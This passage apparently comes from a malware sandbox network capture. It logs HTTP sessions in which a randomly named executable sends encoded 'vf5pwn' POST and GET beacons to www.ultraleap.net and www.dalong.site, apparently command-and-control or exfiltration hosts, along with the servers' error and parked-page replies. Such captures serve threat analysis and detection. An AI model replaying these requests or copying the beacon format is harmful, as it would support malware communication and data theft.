vf5pwn=e/XjuvFYh54wiZhAzxjNRLsjQqM3yPQvGWVtc0rW3H/1IUkTEscy5DNPAgsITIMhPpqQXga3r4vkKugpvO6E6bjG4JBLH4xQv6OKYSuNZ2XQaa8rMms5OEvnesG6P3nehU3HLnisWTBy6xUP4UB+ZPDLl0nCzg/6vKL9eRQRZfLBQSFGvMBiNbHkYS36NXt9YRFuGX4GOuHXQY+JaVn+tFcT3PsT
Sep 26, 2024 15:22:43.918278933 CEST	608	IN	HTTP/1.1 501 Unsupported method ('POST') Server: nginx Date: Thu, 26 Sep 2024 13:22:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 31 61 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 48 54 4d 4c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 35 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 35 30 31 20 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 20 28 27 50 4f 53 54 27 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 55 6e 73 75 70 70 6f [TRUNCATED] Data Ascii: 1ac<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/HTML; charset=iso-8859-15" /> <title>501 Unsupported method ('POST')</title> </head> <body> <h1>Unsupported method ('POST')</h1> <p>Server does not support this operation</p> </body></html> 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49712	217.70.184.50	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:22:45.866069078 CEST	1809	OUT	POST /8pln/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.ultraleap.net Origin: http://www.ultraleap.net Content-Length: 1243 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.ultraleap.net/8pln/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 65 2f 58 6a 75 76 46 59 68 35 34 77 69 5a 68 41 7a 78 6a 4e 52 4c 73 6a 51 71 4d 33 79 50 51 76 47 57 56 74 63 30 72 57 33 48 33 31 49 68 77 54 46 4c 41 79 34 44 4e 50 44 67 73 4c 54 49 4d 6f 50 70 79 55 58 67 57 42 72 2b 72 6b 49 4d 59 70 70 2f 36 45 78 62 6a 47 30 70 42 4f 61 49 78 42 76 2b 71 56 59 53 2b 4e 5a 32 58 51 61 59 6b 72 62 69 34 35 43 6b 76 6b 49 63 47 2b 46 6e 6e 36 68 55 76 58 4c 6e 75 38 57 69 68 79 37 51 6b 50 30 47 5a 2b 61 76 44 4a 6d 30 6e 61 7a 67 69 36 76 4f 72 4c 65 53 4e 38 5a 59 2f 42 51 55 73 51 35 4d 38 2b 62 4b 66 70 63 7a 50 76 4e 43 46 6b 58 33 52 75 44 45 45 54 4f 62 2f 50 47 4e 7a 46 4d 31 65 79 76 42 73 33 79 49 30 62 67 78 4f 50 76 59 4d 72 50 6c 31 32 6b 78 34 61 77 4a 43 33 51 78 41 38 61 43 41 50 52 4e 48 49 36 6c 39 76 54 38 79 6b 38 75 33 51 30 57 58 59 72 70 70 5a 2f 59 4f 47 63 30 55 50 31 2f 74 48 62 69 44 50 41 46 70 47 70 38 78 4c 48 47 5a 4b 49 74 78 48 77 59 41 6d 4f 65 38 53 35 78 47 4c 48 4c 71 70 74 36 74 33 78 7a 45 4a 64 46 46 [TRUNCATED] Data Ascii: vf5pwn=e/XjuvFYh54wiZhAzxjNRLsjQqM3yPQvGWVtc0rW3H31IhwTFLAy4DNPDgsLTIMoPpyUXgWBr+rkIMYpp/6ExbjG0pBOaIxBv+qVYS+NZ2XQaYkrbi45CkvkIcG+Fnn6hUvXLnu8Wihy7QkP0GZ+avDJm0nazgi6vOrLeSN8ZY/BQUsQ5M8+bKfpczPvNCFkX3RuDEETOb/PGNzFM1eyvBs3yI0bgxOPvYMrPl12kx4awJC3QxA8aCAPRNHI6l9vT8yk8u3Q0WXYrppZ/YOGc0UP1/tHbiDPAFpGp8xLHGZKItxHwYAmOe8S5xGLHLqpt6t3xzEJdFFmSVzpQG7Xo18Iz80o66/oZx1kR+aUoHWetFGWDJMF3iD5u8UUxJjeCzzDeEgI5V/pTQx7ySVCGNVzd4AF+WgqWxXmP/YVKtbmWPZvX7V4UMDSTa8B3gUF57siTWabbJenvt+Qrwi6L/9y3isJCzhj1SsB652ryxbhK9meW3SYedlbcpnhbvzNC7yaXc2u8PfLb8wQ4Gy+6zKxXsuvar8akgmuTgPzNQhqhJYcTRlS8eZlziuzZzx8EdD8LhatvpNR2So3wcjOe5MPCs4Wslursi0T3oHjAGtTzm9re32QP8kPWtt5nbzuGva4xIKnU8SXa+Ar7VX3NxxHZcPis5vW8/pSzbM8NKqWI4Y6Q9frFxhMJq7ssTw8lCbHNlwuOmsf4+kvHhvcVcCl249AU0LY/YDteUQKOrfmKpiBKV/BGocXlUNJG9Aw0IuhtvDqRqr9iCPxiuxi9Vuo2zAd7jeQfDj/xNcLaxAQHsFDstbRd0L8bIIfAckyCcD15T+qxNMXAYiyJ9UzaUNIbxVHyM0c8szBywzfHSYh4D4ckQit/TSpPi1h54l4WlpeCLaGfVlnzI7poAoMe4UkF5abz5ri9B+bUu8wn0NIIhf9e8c1gUltlK2Lc16Df9NyVKSDF4HlKjtDUJZktUIDyjfjZWT2xqxoq+BoCwWry [TRUNCATED]
Sep 26, 2024 15:22:46.509876013 CEST	608	IN	HTTP/1.1 501 Unsupported method ('POST') Server: nginx Date: Thu, 26 Sep 2024 13:22:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 31 61 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 48 54 4d 4c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 35 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 35 30 31 20 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 20 28 27 50 4f 53 54 27 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 55 6e 73 75 70 70 6f [TRUNCATED] Data Ascii: 1ac<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/HTML; charset=iso-8859-15" /> <title>501 Unsupported method ('POST')</title> </head> <body> <h1>Unsupported method ('POST')</h1> <p>Server does not support this operation</p> </body></html> 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49713	217.70.184.50	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:22:48.595016956 CEST	524	OUT	GET /8pln/?vf5pwn=T9/DtY4QstE2hf5N+QbDCp08BY0+/KIvfz5cQjr/yHb6PkgoDrQz8TZtAEENUqwsBaW/Syqgj8DnNvIHzYG9qM2494p5Ur94ranWdRPLWWfdK4ZvNUpqMUToNubzG0SM8g==&lHul=nfQTqL40vDEpIp30 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.ultraleap.net Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 26, 2024 15:22:49.195121050 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 13:22:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Language Data Raw: 37 38 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 69 73 20 64 6f 6d 61 69 6e 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 72 65 67 69 73 74 65 72 65 64 20 77 69 74 68 20 47 61 6e 64 69 2e 6e 65 74 2e 20 49 74 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 70 61 72 6b 65 64 20 62 79 20 74 68 65 20 6f 77 6e 65 72 2e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 75 6c 74 72 61 6c 65 61 70 2e 6e 65 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 [TRUNCATED] Data Ascii: 785<!DOCTYPE html><html class="no-js" lang=en> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width"> <meta name="description" content="This domain name has been registered with Gandi.net. It is currently parked by the owner."> <title>ultraleap.net</title> <link rel="stylesheet" type="text/css" href="main-78844350.css"> <link rel="shortcut icon" href="favicon.ico" type="image/x-icon"/> <link rel="preload" as="font" href="fonts/Montserrat-Regular.woff2" type="font/woff2" crossorigin/> <link rel="preload" as="font" href="fonts/Montserrat-SemiBold.woff2" type="font/woff2" crossorigin/> </head> <body> <div class="ParkingPage_2023-root_2dpus "><main class="OldStatic_2023-root_1AGy1 Parking_2023-root_qhMQ2"><div><article class="Parking_2023-content_1rA87"><h1 class="OldStatic_2023-title_13ceK">This domain name has been registered with Gandi.net</h1><div class="OldStatic_2023-text_37nqO Parking_2023-text_1JZys"><p><a href="https://wh [TRUNCATED]
Sep 26, 2024 15:22:49.195178032 CEST	890	IN	Data Raw: 72 61 6c 65 61 70 2e 6e 65 74 22 3e 3c 73 74 72 6f 6e 67 3e 56 69 65 77 20 74 68 65 20 57 48 4f 49 53 20 72 65 73 75 6c 74 73 20 6f 66 20 75 6c 74 72 61 6c 65 61 70 2e 6e 65 74 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 61 3e 20 74 6f 20 67 65 74 20 74 68 Data Ascii: raleap.net"><strong>View the WHOIS results of ultraleap.net</strong></a> to get the domains public registration information.</p></div><div class="Parking_2023-positionbox_2OgLh"><div class="Parking_2023-outerbox_2j18t"><p class="Parking_202

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49714	172.96.187.60	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:22:54.511765003 CEST	766	OUT	POST /v2c3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.dalong.site Origin: http://www.dalong.site Content-Length: 207 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.dalong.site/v2c3/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 31 49 2b 62 6f 39 54 68 6c 45 38 47 71 4f 75 47 63 6e 53 55 2b 42 62 64 32 68 31 4f 58 4f 4d 55 65 49 43 33 52 69 38 6c 38 75 53 52 34 41 45 39 45 44 5a 54 63 77 4e 42 53 50 70 61 6c 7a 54 59 70 6c 41 7a 4c 4d 38 2f 32 7a 4e 75 67 45 66 78 58 68 41 55 34 4e 79 4e 49 70 35 58 77 6a 4e 6e 6c 59 7a 59 37 2f 58 6b 50 42 76 79 2f 69 63 4d 6b 54 6c 71 64 57 77 76 4c 6a 6f 41 71 56 34 59 51 4c 44 48 57 6b 4e 4c 2b 6b 52 52 51 4d 4b 35 77 73 34 6b 61 4b 6b 48 75 54 41 49 39 79 6c 6e 54 7a 67 2b 68 52 47 46 50 6b 53 79 51 4e 38 6c 6e 33 72 46 46 38 30 49 78 51 45 6e 32 52 47 45 78 34 32 70 44 2b 77 3d Data Ascii: vf5pwn=1I+bo9ThlE8GqOuGcnSU+Bbd2h1OXOMUeIC3Ri8l8uSR4AE9EDZTcwNBSPpalzTYplAzLM8/2zNugEfxXhAU4NyNIp5XwjNnlYzY7/XkPBvy/icMkTlqdWwvLjoAqV4YQLDHWkNL+kRRQMK5ws4kaKkHuTAI9ylnTzg+hRGFPkSyQN8ln3rFF80IxQEn2RGEx42pD+w=
Sep 26, 2024 15:22:54.968684912 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Thu, 26 Sep 2024 13:22:54 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49716	172.96.187.60	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:22:57.069202900 CEST	786	OUT	POST /v2c3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.dalong.site Origin: http://www.dalong.site Content-Length: 227 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.dalong.site/v2c3/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 31 49 2b 62 6f 39 54 68 6c 45 38 47 73 75 65 47 50 30 36 55 32 42 62 61 76 52 31 4f 65 75 4e 54 65 49 4f 33 52 6d 74 34 39 59 4b 52 34 68 30 39 4b 68 78 54 53 51 4e 42 61 76 70 56 34 44 53 57 70 6c 64 4d 4c 4f 6f 2f 32 31 68 75 67 42 62 78 58 57 30 56 36 64 79 44 51 5a 35 47 2b 44 4e 6e 6c 59 7a 59 37 37 2b 42 50 42 33 79 2b 54 73 4d 6c 32 52 74 51 32 77 73 49 6a 6f 41 38 56 34 69 51 4c 43 69 57 68 73 51 2b 6d 5a 52 51 4f 53 35 33 39 34 6e 55 4b 6b 42 67 7a 42 41 78 42 46 72 55 56 38 32 6d 42 4c 6a 54 55 43 57 56 37 52 50 39 56 6a 74 57 63 59 77 68 44 4d 51 6e 68 6e 74 72 62 6d 5a 64 70 6c 73 49 36 51 4a 48 39 4b 6d 52 46 45 55 56 6b 6d 6f 6a 4c 50 37 Data Ascii: vf5pwn=1I+bo9ThlE8GsueGP06U2BbavR1OeuNTeIO3Rmt49YKR4h09KhxTSQNBavpV4DSWpldMLOo/21hugBbxXW0V6dyDQZ5G+DNnlYzY77+BPB3y+TsMl2RtQ2wsIjoA8V4iQLCiWhsQ+mZRQOS5394nUKkBgzBAxBFrUV82mBLjTUCWV7RP9VjtWcYwhDMQnhntrbmZdplsI6QJH9KmRFEUVkmojLP7
Sep 26, 2024 15:22:57.503612995 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Thu, 26 Sep 2024 13:22:57 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49717	172.96.187.60	80	2556	C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:22:59.623418093 CEST	1803	OUT	POST /v2c3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.dalong.site Origin: http://www.dalong.site Content-Length: 1243 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.dalong.site/v2c3/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 76 66 35 70 77 6e 3d 31 49 2b 62 6f 39 54 68 6c 45 38 47 73 75 65 47 50 30 36 55 32 42 62 61 76 52 31 4f 65 75 4e 54 65 49 4f 33 52 6d 74 34 39 59 79 52 34 33 6f 39 46 67 78 54 54 51 4e 42 55 50 70 46 34 44 53 62 70 6c 46 49 4c 4f 6b 4a 32 77 39 75 78 58 6e 78 65 43 6f 56 7a 64 79 44 4d 70 34 42 77 6a 4e 2b 6c 59 6a 63 37 2f 61 42 50 42 33 79 2b 52 30 4d 73 44 6c 74 44 6d 77 76 4c 6a 6f 4d 71 56 35 4e 51 4c 71 55 57 68 67 41 35 56 68 52 65 4f 43 35 31 50 51 6e 63 4b 6b 44 6a 7a 41 47 78 42 49 31 55 52 63 51 6d 42 2b 45 54 57 69 57 56 2b 31 57 6b 6b 6e 6c 4c 39 51 64 6b 41 34 71 78 42 6a 75 71 4a 2b 58 64 71 56 68 44 61 30 5a 46 4b 47 68 48 68 56 77 4d 67 69 6b 72 4f 2b 45 62 46 79 6f 73 49 75 65 68 78 48 4b 6a 6e 67 4f 73 5a 55 62 76 2b 56 2f 47 75 34 34 49 73 54 49 4b 75 72 48 6c 4b 54 37 62 43 61 56 79 5a 50 56 71 45 54 6c 6c 68 53 2b 65 41 59 69 34 33 56 47 6f 71 4c 42 70 36 6e 65 36 52 42 50 52 37 33 72 34 6b 47 53 58 58 38 55 53 52 66 79 76 30 7a 57 64 54 51 42 47 30 79 72 47 6d 57 38 48 4c 62 [TRUNCATED] Data Ascii: vf5pwn=1I+bo9ThlE8GsueGP06U2BbavR1OeuNTeIO3Rmt49YyR43o9FgxTTQNBUPpF4DSbplFILOkJ2w9uxXnxeCoVzdyDMp4BwjN+lYjc7/aBPB3y+R0MsDltDmwvLjoMqV5NQLqUWhgA5VhReOC51PQncKkDjzAGxBI1URcQmB+ETWiWV+1WkknlL9QdkA4qxBjuqJ+XdqVhDa0ZFKGhHhVwMgikrO+EbFyosIuehxHKjngOsZUbv+V/Gu44IsTIKurHlKT7bCaVyZPVqETllhS+eAYi43VGoqLBp6ne6RBPR73r4kGSXX8USRfyv0zWdTQBG0yrGmW8HLbdTou2t/+Tgmm9rO3ZVVssqVoZQ4iL0THL3bYYtUIGAZ6vxvG0bQxxpDEmAn/PJI8x8wz4zU94oF+Rqn6mV1Y4aMq34RgcpnHxY6Awv6utC4s9K5chyAsFTKNSLg5thRj+Azc0sG1bmhA6B0uKtOFV+kkFztwP/FuBQ+Jk9846sVhViyb7S2r15FbL0+AqqkORKOoM26Png9/NPyP5mmt81FjlCXklkD6IrtWW++gCoe2PgTYAbSel179FPyLePNhp3Nrztv63lKR7E8hyC7/YIFjxSW16Mg7IA9zAjxZJyLnsXZcwzNHEwtMKKhcpFLmjK5FSK+KNoiQqwuW4Nne4sSlC1dGlvES0bWfMi0nz/eOUk6J1X6JotqZj8ZY8Z24V/Y67A0I3RVfkl96XT0dooXiolo2fBLAJOx/WdA8XbiGoO84KXt42yiWg7mXMidUazRMREqWhM0PCPGGkOltS85Bsu8JmXsN+A7gsjUF4yqcHQPZfuFuvtS5SaYWEKumq9VK3G8NLPP9hH0SHVPRBb2gnaLtiqJhse93j1Vrjb5kkrA8/ELR3agVkOwbaKHcRZmOAGnuxuFsKF77kFCmXfn1AAjOfFQtg+R//V3Q9bGIhAekgJxNNldEVGWOrgQDA+vO2oUXGP2dXQ31nmFzdmvuARV9LGb9LV [TRUNCATED]
Sep 26, 2024 15:23:00.059273958 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Thu, 26 Sep 2024 13:23:00 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 